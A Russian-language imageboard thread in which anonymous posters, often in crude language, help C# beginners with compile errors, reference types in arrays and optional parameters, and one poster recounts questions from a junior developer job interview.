Продолжаю читать Троелсена. Я думал, что это всё-таки для не таких шарящих будет. Почему он постоянно бросается словами методы, классы, статический метод, область видимости метода и т. д. не объясняя по пути что это такое?
Аноним 05/07/20 Вск 16:44:21 1742609417
>>1742598
Потому, что нехуй слушать тех, кто советует со старта брать в руки книги, особо извращенные рекомендуют сразу брать Рихтера. Результат - полное непонимание того, чтотам пишется из-за незнания самых основ. А те основы, что там описываются, написаны достаточно сложным языком, предполагающим, что у человека уже есть некие поверхностные знания в области программирования и смежных вещей.

Браться за хорошие книги надо тогда, когда термины >> методы, классы, статический метод, область видимости
не вызывают никаких вопросов вообще.
Аноним 05/07/20 Вск 16:47:15 1742614418
>>1742609
Хорошо, а с чего тогда начинать? Не с Дударя же. Что хорошее, но лайтовее Троелсена? Или по крупицам в гугле инфу собирать?
Аноним 05/07/20 Вск 16:54:32 1742626419
>>1742614
Я начинал с Шилдта, был нулевым и вроде каких-то серьезных затыков не было. Опять же гугл всегда под рукой и и если надо больше подробностей ищи статейки по конкретному вопросу.
Аноним 05/07/20 Вск 17:26:13 1742682420
>>1742626
Ладно, возьмём и дядюшку Шилдта откроем, спешить некуда, а из 2-х книг может даже и больше почерпну.
Аноним 05/07/20 Вск 17:30:43 1742689421
>>1742614
Для начала надо определить текущий уровень знаний.
Потом берем источник сжатой информации аля метанит и го по порядку.

foreach(theme in themes)
{
ProcessingInformation( theme )
}

void ProcessingInformation(theme)
{
while(!MyBrain.Knowledges.HasValue(someInfo))
{
MyBrain.Knowledges.TryToAdd(theme);
}
}

Только потом берем хорошую книгу и читаем.
Аноним 05/07/20 Вск 17:47:37 1742699422
Весь .NET по сути построен на атрибутах - Методы, валидация и т.д. А это означает - рефлексия. Внимание вопрос - почему рефлексией, а не обычной реализацией? Я так понимаю дело в компиляции - если делать атрибутами и реквесты приходят на контроллер, то сборка сама себя рефлектит и принимает/отправляет REST метод? Если что не так - поправьте
Аноним 05/07/20 Вск 17:47:59 1742700423
Аноним 05/07/20 Вск 18:01:22 1742710424
>>1742700
По сути .NET это и есть .NET Core. Сливают .NET Framework и .NET Core в новый .NET 5. Он уже доступен в превью версии.
Аноним 05/07/20 Вск 18:03:14 1742712425
Аноны, а есть какой-то рекомендуемый codestyle для C#, типа PEP8 для Python?
Аноним 05/07/20 Вск 18:05:57 1742715426
Аноним 05/07/20 Вск 18:13:39 1742721427
Аноним 05/07/20 Вск 18:41:23 1742744428
Есть такой код

using System;

class MainClass {

public class DnaStrand {
public static string MakeComplement(string dna) {

return Console.WriteLine(dna);
}
}

public static void Main (string[] args) {

DnaStrand.MakeComplement("Hello World");
}
}

Выдает такое

main.cs(8,22): error CS0029: Cannot implicitly convert type `void' to `string'

Почему так происходит? Метод принимает и возвращает string. Где и откуда там void?
Аноним 05/07/20 Вск 18:50:31 1742754429
>>1742744
Ты пытаешься вернуть результат Console.WriteLine из MakeCompliment

Console.WriteLine возвращает void, а метод MakeCompliment - string.
Аноним 05/07/20 Вск 19:06:38 1742774430
>>1742715
>>1742721
Спасибо! А что на счет длины строки и размера отступов? Или тут как кому нравится?
Аноним 05/07/20 Вск 19:17:27 1742792431
>>1742754
Спасибо. Но если убрать return, то not all code paths return a value
Аноним 05/07/20 Вск 19:19:50 1742798432
>>1742792
БЛЯЯЯЯ долбоеб, у тебя в сигнатуре string должно возвращать. В глаза долбишься, что ли?
Аноним 05/07/20 Вск 19:32:40 1742808433
>>1742774
Используй стандартные настройки VS.
Аноним 05/07/20 Вск 19:46:31 1742820434
>>1742798
Хули ты орешь. У меня же есть в сигнатуре string

public static string MakeComplement
Аноним 05/07/20 Вск 19:49:16 1742823435
>>1742820
значит убери его из сигнатуры
Аноним 05/07/20 Вск 19:50:07 1742824436
>>1742598
Кто тебе мешает загуглить значения этих слов? Это базовые понятия и они одинаковы для любого языка.
Аноним 05/07/20 Вск 19:55:44 1742830437
>>1742699
У тебя какая-то каша в голове. В том что ты описал можно увидеть рефлексию, которую используют для создания фреймворка, который пишет некоторый код за тебя, в зависимости от атрибутов. Непонятно при этом, что ты подразумеваешь под "обычная реализация". Но это не единственное её предназначение, более общим будет "анализ уже существующего кода и определенные действия в его отношении".
>если делать атрибутами
То при компиляции фреймворк анализирует твой код и дописывает всё нужное для его работы, от тебя требуется только следование документации этого фреймворка. Вся суть в том, что тебе приходится писать в разы меньше кода и большая часть реализации работы лежит за кулисами.
Аноним 05/07/20 Вск 19:57:48 1742832438
>>1742823
Ругается
Class, struct, or interface method must have a return type
Аноним 05/07/20 Вск 19:57:53 1742833439
>>1742792
А надо как? У тебя метод который возвращает строку, если читать только сигнатуру, но если читать реализацию, то он ничего не возвращает, о чём тебе компилятор и говорит.
Аноним 05/07/20 Вск 20:23:10 1742855440
>>1742833
Убираю Console.WriteLine(dna); пишу return dna; и то же самое Class, struct, or interface method must have a return type
Аноним 05/07/20 Вск 20:30:20 1742858441
>>1742820
у каждого метода в сигнатуре есть входные и выходные параметры. Если ты ничего не возвращаешь - значит возвращаемый параметр - void
>>1742830
я проебался не дописав, что имею ввиду ASP.NET. Я хочу разобраться с работой контроллера - ведь каждый входящий реквест по тому или инному REST методу - работает через рефлексию? Поэтому я и спрашиваю насчет атрибутов, ведь рефлексия через них и тянет метаданные сборки. Или я не прав?
Хуево, когда вроде понимаешь, как этот механизм работает, но на практике никогда не понимал и из за излишней абстрации в мыслях пытаюсь найти эту реалиазацию
Аноним 05/07/20 Вск 20:32:26 1742861442
Аноним 05/07/20 Вск 20:51:47 1742864443
D15nDdIXQAARONJ[...].jpg 29Кб, 461x377
461x377
>>1742855
Не знаю, у меня всё работает. Попробуй переустановить Шиndows.
Аноним 05/07/20 Вск 20:52:56 1742866444
>>1742864
>Попробуй переустановить Шиndows.
Лол
Аноним 05/07/20 Вск 20:54:55 1742868445
Аноним 05/07/20 Вск 21:14:43 1742874446
>>1742238
Бамп. Так почему же при изменении объекта в одной ячейки равным образом изменяются объекты во всех остальных ячейках? В сисярпе что, при присвоении объекта ячейке массива массив принимает не объект, а только его адрес? И как тогда создавать массив РАЗНЫХ объектов одного класса?
Аноним 05/07/20 Вск 21:28:22 1742883447
>>1742874
Ты инициализировал все элементы массива одним и тем же объектом, и из-за этого страдаешь
Аноним 05/07/20 Вск 21:35:15 1742888448
>>1742874
Потому что ты значениям массива присваиваешь одну и ту же ссылку на объект.
Class это ссылочный тип, инициализируя инстанс класса ты получаешь ссылку на экземпляр этого класса.
Лучше конечно снести твой говнокод к чертям и научить тебя хотя бы switch case конструкции перед тем как ты его переписывать будешь, но если тебе похуй, то просто вместо дерьма вида:
var myClass = new MyClass();
for (int i = 0; i < myArray.Length; i ++)
{
myArray = myClass;
}
Тебе нужно писать:
for (int i = 0; i < myArray.Length; i ++)
{
myArray = new myClass();
}
Аноним 05/07/20 Вск 21:36:33 1742889449
>>1742888
Квадратные скобки съел двач, но я думаю и так понятно в чём твоя ошибка.
Аноним 05/07/20 Вск 21:36:35 1742890450
>>1742883
Это говно что, копирует адрес вместо самого объекта? И как я об этом должен был догадаться? Почему ту вас в сисярпе вообще это так устроено? Почему нельзя дать программисту выбор, массив чего он хочет сделать: указателей или нет?
Аноним 05/07/20 Вск 21:38:50 1742893451
>>1742888
Понял. Значит выбор есть.
Аноним 05/07/20 Вск 21:45:35 1742895452
изображение.png 6Кб, 307x245
307x245
изображение.png 6Кб, 333x236
333x236
В общем, я вместо вот так сделал вот так. Можно было переделать придерживаясь правил сисярпа, но мне лень переписывать лабу для С++ с нуля на другом языке. Всем спасибо за подсказки.
Аноним 05/07/20 Вск 21:56:43 1742901453
>>1742890
>Почему нельзя дать программисту выбор, массив чего он хочет сделать: указателей или нет?
Можно. Объявляй свой тип не как класс, а как структуру, будет тебя массив значений а не указателей.
Аноним 05/07/20 Вск 21:59:09 1742905454
>>1742890
>И как я об этом должен был догадаться?
Нехуй лекции прогуливать.
Аноним 05/07/20 Вск 22:16:24 1742918455
>>1742905
Как будто на них что-то такое рассказывается, до чего я сам не допру. Например, про указатели на один и тот же объект в ячейках массива я вчера перед сном подумал. Но также подумал, что я же явно создавал массив объектов, а не массив указателей, так что бред и лучше посплю и потом разберусь. Про такую бредовую реализацию классов в сисярпе я и подумать не мог. Зачем всё это делать таким? Неужели микрософт не устраивало то, как это было в крестах? Зачем это нужно?
Аноним 05/07/20 Вск 23:05:06 1742943456
>>1742918
Ну создал ты массив ссылочных типов, не известно когда ты им воспользуешься и может он тебе вообще не понадобится, поэтому смысла нет срать ими в память, вызывая базовый конструктор каждого. При этом у класса может и не быть конструктора без параметров, как тогда быть? Если тебе нужна инициализация базового конструктора, то для этого есть тип Struct, а не Class.
Аноним 05/07/20 Вск 23:17:01 1742953457
>>1742918
Лол, C# выполнил как раз то, что ты ему сказал. "Создай мне один объект и заполни им массив" - "Есть шеф" - сказал компилятор C# и сделал ровно то, что ты у него попросил.

Кресты на такой же запрос тебе сказали "А может ты имел ввиду создай один объект и вызови еще сверху 10 конструкторов копирования? Ну наверное да, я пожалуй, лучше это выполню". Спасибо, нен надо.

И реализации классов как в крестах не надо. А то еще завезёте наследование ромбиком. А потомки будут вас за это чёрным словом вспоминать.
Аноним 05/07/20 Вск 23:27:04 1742963458
изображение.png 9Кб, 497x237
497x237
>>1742953
В крестах "Создай мне один объект и заполни им массив" командуется так. Ты можешь видеть, что адрес в таком массиве на один и тот же объект.
Аноним 05/07/20 Вск 23:33:41 1742967459
изображение.png 16Кб, 509x326
509x326
>>1742953
Извинтиляюсь, немного неправильно написал. Вот правильно.
Аноним 05/07/20 Вск 23:39:49 1742969460
>>1742963
>>1742967
Спасибо, я улыбнулся. Когда мне снова захочется ебаться со ссылками, указателями и rvalue референсами, ебошить placement new и заниматься всеми этими стрельбами себе в ногу - я выберу путь с++.

А пока мне хочется программы писать, а не с памятью сношаться.
Аноним 05/07/20 Вск 23:41:15 1742970461
>>1742969
Кхе кхе умные указатели кхе кхе векторы кхве кхве кхве
Аноним 05/07/20 Вск 23:45:55 1742974462
>>1742970
>auto shared = std::make_shared<SomeClass>();
спасибо, не надо.
Аноним 06/07/20 Пнд 11:23:46 1743069463
>>1742918
На самом деле верчение ссылок удобно. Главное, не выстрелить себе в ногу, но в большинстве случаев потекшую подливку по штанине заметно сразу при первом тесте. Как сделать иначе я не представляю
Сперва непонятно, конечно
Аноним 06/07/20 Пнд 11:42:18 1743077464
Месяц не был в шарпотреде, сейчас зашёл, а у вас тут плюсоёб с разорванной сракой бегает. Хуясе. Но картина забавная, да.
Аноним 06/07/20 Пнд 12:19:57 1743090465
сап,
Как сделать опциональный параметр в методе? Т.е если при вызове он передается, то используем то что передается. Если нет, то дефолтный. Например:
public static string myFunc( int num, optionalParam = new MyClass.Options(){Name = "X100", Feature = "Extended"}){ ... }
Тут опциональный параметр optionalParam и дефолтные параметры это имя X100 и Feature = Extended.
Аноним 06/07/20 Пнд 12:25:41 1743096466
>>1743077
я бы и сам с # на кресты перешел, там и то работы больше
Аноним 06/07/20 Пнд 12:31:02 1743100467
>>1743096
Поаккуратнее, молодой человек, а то так и до жабы опуститься можно.
Аноним 06/07/20 Пнд 12:33:21 1743101468
>>1743090
Опциональные параметры должны быть constant expression. Т.е. написать new Yoba() не получится.
Аноним 06/07/20 Пнд 12:49:34 1743111469
>>1743100
Жаба 14, в принципе, не такое говно как раньше. Пиздят фичи C#, всё правильно делают.
Аноним 06/07/20 Пнд 13:06:31 1743130470
>>1743101
Я пока сделал перезагрузку метода, то есть теперь 2 одинаковых метода, только в одном на один параметр больше. Скорей всего, это кривое решение.
Аноним 06/07/20 Пнд 13:15:32 1743132471
Господа, поясните за таблицу виртуальных типов. Она в манифесте при компиляции в IL создается? И для чего она вообще нужна? Можно ссылку на сорс, если влень писать. Спасибо
Аноним 06/07/20 Пнд 13:19:56 1743135472
>>1743130
Нормальное решение. Только код не дублируй.
Аноним 06/07/20 Пнд 13:28:38 1743138473
>>1743132
>таблицу виртуальных типов
Методов, может?
Аноним 06/07/20 Пнд 13:46:15 1743142474
>>1743138
да, точно. Таблица виртуальных методов
Аноним 06/07/20 Пнд 14:05:28 1743149475
Аноним 06/07/20 Пнд 14:46:17 1743172476
Аноним 06/07/20 Пнд 15:38:10 1743205477
>>1743130
Нормальное, если ты в методе, который имеет меньшее число параметров, вызываешь метод с большим числом параметров, передавая в них нужные объекты в качестве параметров по умолчанию.
Например в твоём случае метод с меньшим количеством параметров будет выглядеть примерно так:
public static string myFunc( int num,)
{
optionalParam = new MyClass.Options(){Name = "X100", Feature = "Extended"};
myFunc(num, optionalParam);
}
Аноним 06/07/20 Пнд 15:48:54 1743206478
>>1743132
Рихтера почитай, если интересно. Но на деле эта информация тебе особо не пригодится. Я вот прочитал, но всё что сейчас помню, это то, что при вызове виртуального метода, проводится проверка типа объекта, а при вызове обычного, проверка типа не нужна. Ну и то что указатель на тип объекта есть только у ссылочных типов, т. е. в случае когда нужна проверка типа, значимый тип должен приводиться к ссылочному, т. е. происходит боксинг.
Аноним 06/07/20 Пнд 16:04:47 1743212479
>>1743206
да я знаю, что это вода, но завтра собес и пытаюсь вспомнить все неприятные вопросы - типо замыканий в foreach, иерархий типов, состава SDK
Аноним 06/07/20 Пнд 16:08:49 1743215480
>>1743212
Ни пуха тебе на собесе, аноний.
Аноним 06/07/20 Пнд 16:10:41 1743218481
>>1743215
спасибо. Я хз, что за собес может быть по телефону. Хотя бы конфу с демонстрацией бы. Судя по всему на джуна делают первый уровень на дебила, за которой последует второй уровень - уже со встречей
Аноним 07/07/20 Втр 01:12:08 1743516482
Сап. Потихоньку вкатываюсь в сишарп. Анон, сколько примерно нужно его изучать чтоб кодить простенькие игры на юнити?
Аноним 07/07/20 Втр 01:12:48 1743517483
Аноним 07/07/20 Втр 01:20:21 1743518484
>>1743517
Прочитать одну книгу будет достаточно?
Аноним 07/07/20 Втр 02:35:02 1743529485
>>1743518
Я может крамольную вещь скажу, но для новичка книги для самого начала это слишком круто. Начни с курсов с рутрекера или видосов с ютуба, где шаг за шагом простейшие вещи объясняют. Запускай студию и повторяй. Когда освоишься в простейшем, тогда уже берись за книгу, но только не из числа крутых. Вон обложка книжки Троелсена висит. Самое лучшее чтиво для начала, когда уже делал что-то осмысленное в студии. Глава за главой будешь про знакомые вещи читать и с новой стороны про них узнавать.
Аноним 07/07/20 Втр 03:22:10 1743542486
>>1743529
Благодарю за наставление, анон. Я наоборот думал, что книгу полезнее будет освоить, чем видосы смотреть, однако от нее много нагрузки на мозг поступило.
Аноним 07/07/20 Втр 09:06:53 1743588487
>>1743142
Конрад Кокоза — Pro .NET Memory Management, глава 4. Дальше сам.
Аноним 07/07/20 Втр 11:42:20 1743681488
Аноним 07/07/20 Втр 12:05:36 1743713489
>>1724425 (OP)
Люблю систематизировать и каталогизировать разное дерьмо, хочу парсить различные интернет параши по запросам и сливать дату оттуда, выявлять закономерности. Может запилить потом на своем сайте свою базу данных на основе этой даты.

Опыт программирования - ноль. Насколько подходит сишарп для таких задач, или мне в другой тренд?
Аноним 07/07/20 Втр 12:06:58 1743717490
>>1743713
Ах да, троечник в математике, но с логикой все ок.
Аноним 07/07/20 Втр 12:12:23 1743724491
>>1743713
Лучше JS подойдет, так как для парсинга тебе всё равно ено знать нужно будет. А остальное компенсируешь многочисленными фреймворками на любой случай жизни. Шарп это тяжелая артиллерия, в данном случае его применение будет избыточным.
Аноним 07/07/20 Втр 12:34:28 1743737492
>>1743724
А в анализе изображений какой язык может помочь? Возьмем скажем абстрактный пример - есть 100 фотографий, нужно проанализировать их и скачать данные по фотографиям где человек пострижен коротко. Если не касаться нейронок конечно.
Аноним 07/07/20 Втр 12:53:33 1743765493
>>1743737
Тоже JS, будешь работать с API систем распознавания изображений, которых сейчас воз и маленькая тележка.
Аноним 07/07/20 Втр 14:35:59 1743942494
Когда собес по # проводит фронтендер, который вопросы и ответы читает с листа, но расспрашивает по JS - это знак свыше или текущая ситуация # на рынке?
Аноним 07/07/20 Втр 14:51:06 1743952495
>>1743942
Джаваскрипт с сишарпом парой идет, все нормально.
Аноним 07/07/20 Втр 15:17:49 1743971496
Если я только вкатываюсь, то обязательно ли Visual Studio ставить с его нагромождениями или сойдет и Visual Studio Code?
Аноним 07/07/20 Втр 15:22:13 1743973497
>>1743971
пойдет обычный txt файл. Если по хардкору, то в CMD. Билдить тоже через CMD - dotnet build/run/publish
Аноним 07/07/20 Втр 15:44:01 1743995498
>>1743971
пойдет. всё равно в начале будешь с консолью работать.
Аноним 07/07/20 Втр 17:40:33 1744099499
>>1743971
На фреймворке билдит гораздо быстрее, чем на core, поэтому я бы ставил студию и не выёбывался. Писать в емакс и билдить через командную строку вообще аутизм от мозолеедов, вообще не шарп вей игнорировать статический анализ кода.
Аноним 07/07/20 Втр 19:57:04 1744233500
>>1743942
Ты тот анон, который на собес настраивался? Как прошло? Что спрашивали? Взяли или перезвонят?
Аноним 07/07/20 Втр 21:35:35 1744360501
>>1744099
>мозолеед
>билдить через командную строку вообще аутизм от мозолеедов, вообще не шарп вей игнорировать статический анализ кода
Ебнутая вниманиеблять. Бегает по всему двачу и пишет тупую хуйню. Если что, компиляция из консоли или из студии ничем не отличается. Если бы ты знал предмет лучше, и не был таким ебанутым, то знал бы, что в обоих случаях вызывается компилятор csc, и выдает он абсолютно одинаковую инфу, что в студию что в консоль.
Аноним 08/07/20 Срд 03:26:42 1744554502
>>1744360
Ой, иди-ка ты нахуй со своим "если что". Сам не разобрался нихуя, а уже лезет ко взрослым.
1) dotnet run работает только с .net core. У core версии, при всей моей любви к ней, есть много недостатков в сравнении с фреймворком, в частности сборка идёт ощутимо дольше. Под фреймворки до сих пор разрабатывать комфортнее
2) Несмотря на то, что результат компиляции будет одинаковым, студия позволит использовать статический анализатор кода. Статический анализатор работает не через csc, а через API Roslyn'а, если что
Если бы ты знал предмет лучше, а ещё лучше думал, прежде чем писать, то ты бы так не опозорился.
Аноним 08/07/20 Срд 06:51:25 1744602503
>>1744554
Ты даже наверное не в курсе, что анализаторы можно воткнуть почти в любой редактор кода. С помощью omnisharp https://github.com/OmniSharp/omnisharp-roslyn или как nuget пакет. Кроме встроенных в VS анализаторов есть и другие https://docs.microsoft.com/ru-ru/visualstudio/code-quality/roslyn-analyzers-overview?view=vs-2019

У меня Линукс и установлен VSCode. Она дает все тоже самое что и VS на Windows. Только работает быстрее раза в 3. Не весит 10-30Гб как виндовая VS. И платить за нее не надо. Для C# есть всевозможные расширения. Кроме C# поддерживает кучу языков.
Аноним 08/07/20 Срд 07:59:20 1744635504
>>1744602
>У меня Линукс
Я заметил по запаху мозолей изо рта, мог бы и не уточнять
Аноним 08/07/20 Срд 09:13:00 1744689505
Аноним 08/07/20 Срд 09:13:59 1744690506
>>1744602
Ловите вкатывальщика!
Аноним 08/07/20 Срд 09:22:42 1744696507
>>1744233
Прошло - имо не очень. Интервьер опоздал на 2 часа, пришлось звонить HR/HH напоминать (она еще была не в сети 1.5 часа). Спрашивал много - #, LINQ, Collections, Reflection, ORM, SQL, JS, алгоритм даже один успел спросить. Затронули метаданные и кишочки, к которым я так упорно готовился, но 90% вопросов были из дефолтных вопросов к собесу.
По # нормально ответил, помню, что не ответил - AS при неудачном апкасте выдает null, а IS - false. Перепутал инициализацию out/ref (сказал наоборот, что в out должна быть инициализация, а не в ref). Не сказал, что dictionary работает быстрее list-a (тоже дефолтный вопрос). Не сказал, что лямбда это анонимный метод (КАРЛ). Перепутал select и where, хотя как мне показалось, это скорее интервьер прошляпил - спросил про выборку, а не про фильтрацию - я ответил Select, он сказал Where.
По SQL не ответил про foreign key. По ORM норм (хорошая практика с ними)
По WEB - полный пиздец. Я хоть до этого и ковырял палкой React на пете, но все по средствам google, SOF. Поэтому на какие то банальные вещи типо - задать стиль всем селекторам, я думал через .div, оказалось просто div. Найти элемент в DOM через JS - тоже не ответил, хотя вопрос был плевый.
Я ебашил пет, чтобы привести его до ума, к собесу толком не готовился (3-4 часа), по факту получилось, как получилось. И я готовился на вопросы "поинтересней" по Рихтеру, а задали по Quiz.
Ответы давал развернутые, но судя по реакции и обратной связи - мне показалось, что интервьер ждал только шаблонный ответ на поставленный вопрос. К примеру с рефлекшен я зашел издалека и начал расказывать как работают атрибуты, как они в метаданный флагаются. Он ждал плоский ответ по рефлекшн - "Технология по обращению к метаданным".
А ну да, по ASP.NET еще были вопросы - не ответил на атрибут Action.
Вроде все.
Аноним 08/07/20 Срд 09:41:00 1744704508
>>1744696
> что не ответил - AS при неудачном апкасте выдает null, а IS - false. Перепутал инициализацию out/ref
Странно, что после такого обсера тебя не проводили ласковым "мы вам перезвоним". Надеюсь ты себя не тешишь надеждами на оффер и уже приступил к поиску другой вакансии.
Аноним 08/07/20 Срд 09:48:18 1744708509
>>1744704
ты хочешь сказать, что апкасты в 2к20 с дженериками так часто делают? Или создают методы с ref/out?
Аноним 08/07/20 Срд 09:53:54 1744713510
>>1744696
А сколько сам собес проходил и что по итогу сказали?
Такой объём на всех собесах? Ты на мидла устраивался? Или это должен каждый ссаный джун знать?
Аноним 08/07/20 Срд 09:59:28 1744718511
>>1744708
И то и то часто используется. Если касты еще как-то можно оправдать, то ref/out используются часто. Ладно обосрался с as и is, но как можно было насрать себе в штаны c ref/out? Ты никогда не использовал int.TryParse(string s, out int result)?
Аноним 08/07/20 Срд 10:00:00 1744720512
>>1744713
собес по телефону, где то пол часа в быстром темпе (чтобы не гуглил и не искал в заметках). По итогу - ничего, парень спросил есть ли вопросы по тестовому заданию - я сказал нету, т.к. вопросы у меня по проекту, стэку и организации команды.
Насчет всех, не всех - дело ситуативное, кто то начнет в залупу лезть с реализацией какого то механизма - например разложить IEnumerable до песчинок, кто то всколзь поспрашивает смотря в потолок. Как я писал выше - интервьюер представился frontend разработчиком, судя по всему фул стэк, не понятно только из # или из JS. Вакансия - джуна.
Аноним 08/07/20 Срд 10:11:04 1744731513
>>1744718
>int.TryParse(string s, out int result)
да вот как то даже и не юзал, хотя без него - никуда. Остальные Parse и Convert дают exception, если при переборе будут не Number, а этот метод дает 0.
По as и is приведи пример, где это используется, чтобы в голове отложилось.
Аноним 08/07/20 Срд 10:32:53 1744758514
>>1744731
as и is я запомнил потому что c is можно составить вопрос object type x is of object type y? на которой можно ответить yes/no, т. е. вернуть true/false, а as более утвердительный, т. е. ты явно говоришь, что объект типа x, хочешь привести к типу y, не ожидая сразу результат в виде конечного объекта, либо null в случае если приведение невозможно
Аноним 08/07/20 Срд 10:34:47 1744760515
cd.png 9Кб, 326x326
326x326
>>1744731
>Остальные Parse и Convert дают exception
Так ты не путай TryParse и Parse - первые исключений кидать не должны, иначе какой в них смысл?>>1744731
>as и is
ХЗ почему ты говоришь про апкаст, они обычно использубтся при даункасте, тот же паттерн матчинг это сахар для as/is.
Аноним 08/07/20 Срд 10:35:23 1744763516
example.png 71Кб, 590x776
590x776
>>1744731
Немного вырожденный пример, но все же.
Аноним 08/07/20 Срд 10:52:56 1744781517
>>1744763
Двач, за знак "=>" и что он обозначает.

Мимо проходил
Аноним 08/07/20 Срд 10:55:01 1744782518
>>1744758
хорошая памятка насчет IS, но по логике приведение должно давать InvalidCastException, а не null. Так или иначе, запомнил, спасибо.
>>1744760
какой то странный пример. 1 - метод Dump это фича какого то редактора, забыл название, которая в контекст (на консоль) передает значение без использования console. 2. Что ErrorMsg, что InfoMsg являются наследниками Msg - поэтому что то, что то даунастится, но без is/as. Я так понимаю эти два ключевых слова используются исключительно в контексте приведения, т.е. должны задаваться явно, а у тебя в примере - не явно. Если не так - поправь
>>1744763
хороший пример, но имо нынче время дженериков и по идеи должны строго типизировать тип, чтобы не делать проверку приведения. GetNumber<T> Where T : I - типо такого.
Спасибо, что отписали
Аноним 08/07/20 Срд 10:55:25 1744785519
Аноним 08/07/20 Срд 11:06:37 1744795520
Пока разбирался с AS/IS, REF/OUT - пришел еще один инвайт на тест (если будет успешный, то собес) с другой галеры. Так что позже отпишу еще, на чем обосрусь.
Посмотрев на пример >>1744760 вспомнил, что switch-case, а там более goto вообще не юзаю и даже забыл синтаксис. Что скажете, какова популярность этих конструкций?
Аноним 08/07/20 Срд 11:11:22 1744796521
>>1744782
> Dump
LinqPad
>>1744782
>Что ErrorMsg, что InfoMsg являются наследниками Msg - поэтому что то, что то даунастится, но без is/as
Ты не перепутал даункаст с апкастом опять? Тебе прилетает из вне Msg, но ты в зависимости от конкретного типа хочешь их обрабатывать по-разному, поэтому даункастишь до более конкретного типа.
>в контексте приведения, т.е. должны задаваться явно, а у тебя в примере - не явно
is - тупо проверить, as - проверить и если оно, то привесли, если нет - налл. Паттерн матчинг это сахар, который компилятор разворачивает в as/is. Раньше писали через as/is, теперь в большенстве случаев можно написать красивше. Еше так можно
if(obj is string str) - по факту вызовется as и проверка на налл.
>GetNumber<T>
Ну так проверка и приведение будет в GetNumber. Ты не всегда можешь знать какой тип тебе прилетит, например, от удаленного клиента.
Аноним 08/07/20 Срд 11:13:17 1744800522
>>1744795
Довольно популярно, свичу в последних версиях шарпа добавили довольно много фишек.
Аноним 08/07/20 Срд 11:18:02 1744801523
>>1744796
>Ты не всегда можешь знать какой тип тебе прилетит
Хороший аргумент. Так что да, я изменил свое мнение насчет приведений.
>Паттерн матчинг
в обед погуглю, никогда не встречал. Знаю по GOF ~9-10 и то на практике никогда не применял. Да по ним и не спрашивали.
>Ты не перепутал даункаст с апкастом опять?
В твоем примере как раз даункаст идет - проверка от родителя к предку. Только они оба наследники Msg и конструкция case это проверяет. Т.е. если залетит какой то тип без наследования, то case банально не найдет его и пропустит. Пока писал нашел логическое объяснение твоему примеру. Спасибо.
>LinqPad
зачем он нужен, когда есть VS? На крайняк VS Code
Аноним 08/07/20 Срд 11:25:57 1744807524
>>1744696
> Затронули метаданные и кишочки
> AS IS
> out/ref
> dictionary
> лямбда
> LINQ select и where
Что ты подразумеваешь под кишочками?
> По ORM норм (хорошая практика с ними)
Например? Интересно, что тебя спрашивали

Я год работаю, но ничего сложного в твоих вопросах не увидел, кроме ебли с джаваскриптом, но его я и не изучал, так, в экстренных случаях правки вносил
Аноним 08/07/20 Срд 11:27:43 1744814525
>>1744758
А еще as гораздо медленнее is, насколько помню. Надо построить все дерево наследования
годовалый работяга
Аноним 08/07/20 Срд 11:32:46 1744822526
>>1744807
>Что ты подразумеваешь под кишочками?
Вот так читай
>Затронули метаданные и кишочки, к которым я так упорно готовился, но 90% вопросов были из дефолтных вопросов к собесу.
только 10% (даже меньше) затрагивали принципы работы, а не их задачи.
По ORM - отличие EF от ADO.NET, какие еще есть ORM. Какую функцию выполняют. Db first-Code first. Какой то вопрос был про Lazy loading, но не могу вспомнить в каком контексте. Вспомнил - IQuerable - отличие от IEnumerable.
>Я год работаю
я работаю финансистом, все мои знания - это самоучение и пет проекты. Я бы давно пошел интерном за $300, если бы мне не было под сраку лет
Аноним 08/07/20 Срд 11:39:03 1744831527
Аноним 08/07/20 Срд 11:49:59 1744841528
>>1744801
>Знаю по GOF ~9-10 и то на практике никогда не применял
А? При чем тут гофовские паттерны. Паттерн это шаблон, паттерн матчинг - сопоставление с шаблоном.
>В твоем примере как раз даункаст идет
Да, Msg даункастится к ErrorMsg, но ты ж писал
>поэтому что то, что то даунастится, но без is/as
но ведь
Msg m = ...;
ErrorMsg e = m;// без явного приведения фэйл
а вот апкаст сработает без явного приведения.
>зачем он нужен
Прост. Маленькое удобное приложение длятестирования небольших кусков кода. Особенно крут этот всеядный Dump().
Аноним 08/07/20 Срд 12:04:47 1744865529
>>1744841
хм, думал marching - это название, а это сопоставление.
>ErrorMsg e = m;// без явного приведения фэйл
теперь точно разобрался, спасибо
Аноним 08/07/20 Срд 13:18:20 1744916530
>>1744822
Спасибо за ответ, не знал, что могут спросить по ADO.NET, я думал, это уже свое отжило
Lazy Loading имеет отношение только к IQueryable, потому что IEnumerable обычно означает, что коллекция уже у тебя на компе, только под капотом не какой-нибудь хитрый yield
На какую зп идешь, ну так, примерно? У меня ~50к в сумме со всеми премиями
Аноним 08/07/20 Срд 13:24:55 1744920531
>>1744916
ADO.NET - легаси, но сложного впринципе ничего в нем нет имо. Обычный SQL запрос к базе через конструкцию Using с Dispose.

да и вспомнил еще на чем спотыкнулся - где выполнение идет сразу, а где отложенно - в IEnumerable сразу (как ты написал, она же на клиенте, а не на сервере)
ЗП - я HH/HR назвал цифру - $400-500. Из за того, что свитчер - прийдется потерять 25% своей текущей ЗП (750-800 сейчас)
Аноним 08/07/20 Срд 13:53:47 1744955532
>>1744916
>я думал, это уже свое отжило
Все эти ваши ORM - EF, linq2sql, dapper обертки над ADO.Net разной толщины.
Аноним 08/07/20 Срд 14:09:59 1744973533
Как ASP.NET Core шифрует куки? Вот добавил я Claim'ов юзеру, он же не может их получить из кукисов у себя? А как серв их расшифровывает?
Аноним 08/07/20 Срд 14:36:03 1744997534
>>1744973
всмысле шифрует куки? Это уже твое дело - сохранять данные в куках клиента или нет. Я прятал в куках auth jwt token - проверка по header с полем Jwt beaver
Аноним 08/07/20 Срд 15:03:06 1745028535
>>1744997
>всмысле шифрует куки?
Ну вот подключил я аутентификацию
services.AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme).AddCookie();
Потом добавил несколько Claim'ов и вызвал HttpContext.SignIn() с этими клаимами. Юзеру прилетают кука с длинной base64(или нет) строкой, там, как я понимаю и зашифрованы все его клаимы. Вот отсюда и вопросы: может ли юзер расшифровать и отредактировать свои права при такой аутентификации и как их распозноет сервер, я ведь не сохраняю ничего на сервере, а серв как-то расшифровывает после перезапуска - значит никакого секретного ключа нет.
Аноним 08/07/20 Срд 15:13:02 1745049536
>>1745028
